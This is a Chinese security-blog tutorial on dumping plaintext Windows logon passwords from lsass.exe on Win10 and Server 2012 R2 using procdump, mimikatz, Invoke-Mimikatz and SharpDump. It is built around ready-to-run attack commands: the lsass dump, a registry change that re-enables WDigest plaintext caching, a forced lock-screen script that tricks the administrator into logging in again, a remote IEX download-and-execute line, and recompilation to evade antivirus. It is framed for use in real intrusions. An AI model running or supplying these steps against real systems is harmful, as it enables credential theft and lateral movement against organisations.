Win10及2012系统以后的明文抓取方式

阅读量752378

|评论16

|

发布时间 : 2019-03-28 10:00:30

 

1. procdump+mimikatz获取win10/win2012 R2用户明文密码

测试环境:win10企业版和win2012 R2 版本

工具下载:链接:https://pan.baidu.com/s/1gNc9qLcNSNBohIVrAiqShw 密码:fc38

原理:获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码

利用前提:拿到了admin权限的cmd,管理员用密码登录机器,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。

抓取明文:手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码

根据相应系统位数,选择工具

运行cmd , cd 进入相应软件目录。

先用procdump64.exe导出lsass.dmp

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

命令执行完成之后,会有提示下载路径。

然后把 lsass.dmp 下载到本地(实战中可以从菜刀下载或者网站访问下载等等)

使用本地的mimikatz.exe读取lsass.dmp。

相应目录快捷打开cmd(此时读取过程不需要管理员权限的cmd)

在默认情况下,当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,如下图,密码字段显示为null,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

如下图是没有修改注册表时的读取结果,无明文。

但是我们可以通过修改注册表来让Wdigest Auth保存明文口令:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

如需恢复原样,只需将上图REG_DWORD的值1改为0即可。

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

修改注册表之后,修改了之后需要用户注销或者重新登陆之后才会生效。

使用强制锁屏ps1脚本(只适用于win服务器版本,win10测试不通过)

把如下代码保存为lock-screen.ps1。

Function Lock-WorkStation {

$signature = @"

[DllImport("user32.dll", SetLastError = true)]

public static extern bool LockWorkStation();

"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru

$LockWorkStation::LockWorkStation() | Out-Null

}

Lock-WorkStation

执行: powershell -file lock-screen.ps1

管理员重新登录。

如下图,重启后,重新操作以上步骤,成功读取明文。

总结:

在系统为win10或2012R2以上时,都需要配置注册表并重新登录后才能抓取明文。

优点和缺点:

优点:用procdump导出lsass.dmp后拖回本地抓取密码来规避杀软。

缺点:修改注册表之后,需要重新登录才能生效,可以使用锁屏脚本(锁屏之前,一定要查看管理员是否在线),让管理员重新登录。

 

2. Mimikatz

mimikatz是一款轻量级的调试神器,功能非常强大,其中最常用的功能就是抓取明文或Hash。

原理:Lsass.exe中恢复明文密码。

前提:拿到了目标的管理员权限,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。

Mimikatz.exe版本工具下载(下载相应版本):https://github.com/gentilkiwi/mimikatz/releases

测试环境:win10企业版和win2012 R2 版本

手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码

如下是win10企业版。

运行mimikatz

privilege::debug  提升权限

sekurlsa::logonpasswords  抓取密码

如上一篇中解释,需要修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

如下图是没有修改注册表时的读取结果,无明文。

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

修改注册表之后,修改了之后需要用户注销或者重启重新登陆之后才会生效。

如下图,重启后,重新操作以上步骤,成功读取明文。

实测:下载地址的三个版本的mimikatz.exe,在win2012 R2服务器版本上都会崩溃,

原因是不兼容。

改变思路,使用powershell版本的mimikatz。在win2012 R2测试。

把如下链接的内容复制到新建文本,然后重命名为Invoke-Mimikatz.ps1

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

cmd下执行,本地加载

powershell -exec bypass “import-module .Invoke-Mimikatz.ps1;Invoke-Mimikatz”

前提还是得配置注册表重新登录后才能抓明文。

如下是没有配置注册表时,抓取没有明文。

配置注册表之后,使用强制锁屏ps1脚本(只适用于win服务器版本,win10测试不通过)

执行: powershell -file lock-screen.ps1

锁屏之后,管理员重新登录。

成功读取到明文。

在win10上执行Invoke-Mimikatz.ps1测试,出现报错。

也可以把ps1放到一个站点上远程加载

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz

Powershell执行方式参考:https://blog.csdn.net/qq_27446553/article/details/81074367

 

总结

Win10抓取明文,用mimikatz的exe版本。

Win2012 R2等服务器版本抓取明文,用mimikatz的powershell版本。

powershell 适用范围有限,只能适用于 win7,2008r2 之后的系统。

实战时,我们可以在shell中执行命令配置注册表之后,尝试利用锁屏脚本(锁屏之前,一定要查看管理员是否在线),让管理员重新登录。

很多第三方软件都集成了mimikatz,例如CS的beacon,MSF的meterpreter等等。

mimikatz,抓取密码的方式还有导出lsass.exe,edigest,sam。

 

3. SharpDump [c# 免杀抓明文]

前提:拿到目标的管理员权限。Lsass.exe进程中保存了明文密码。

工具源代码下载地址:https://github.com/GhostPack/SharpDump

用VS打开工程文件

设置工程文件如下。

右击项目,重新生成。

成功生成,以下有生成路径。

然后直接上传exe,cmd执行。(因为是源代码重新编译生成的exe,一般可以免杀一段时间)

把文件导出到指定路径。

依然是回到本机机器用 mimikatz.exe 读取刚刚 dump 出的文件,特别注意,dump 的文件默认是 bin 后缀,拖到本地机器以后,需要自行把 bin 重命名为 zip 的后缀,然后正常解压处里面的文件,再丢给 mimikatz 去读取即可,如下

# mimikatz.exe “sekurlsa::minidump debug45” “sekurlsa::logonPasswords full” “exit”

 

成功抓取明文。

 

 

总结

此方法的exe体积小[也就 9k 左右],默认它会自动 dump lsass.exe 进程数据,当然,你也可以指定进程 id 来 dump,在一些断网环境下很实用,如下,先在目标机器上把 lsass.exe 进程数据导出来。

实测在win10企业版和win2012 R2 可行。

体积小,越好做免杀。

以上三种方法的总结:

procdump和SharpDump的套路都是把lsass.exe进程中的数据dump下来,然后mimikatz进行读取内容。

mimikatz是直接读取lsass.exe里的数据。

两者有细微区别,就比如当你明文密码已经保存在lsass.exe进程中,这时把注册表配置成lsass.exe不保存明文密码,这个时候mimikatz是不能够读取明文的,但是procdump和SharpDump把lsass.exe的数据dump下来是能够读取明文。

以上都是以抓取明文为重点,其实如果没有配置注册表的话,也是可以读取NTLM和SHA1,

如能成功解密,就省去了抓取明文这一步。

思考

有没有其他方法,不关于lsass.exe,就能够抓取明文?

如果笔者有什么错误或者还有其他一些什么好方法的话,希望能够在评论中指出。

本文由聚鼎安全原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/175364

安全客 - 有思想的安全新媒体

分享到:微信
+127赞
收藏
聚鼎安全
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66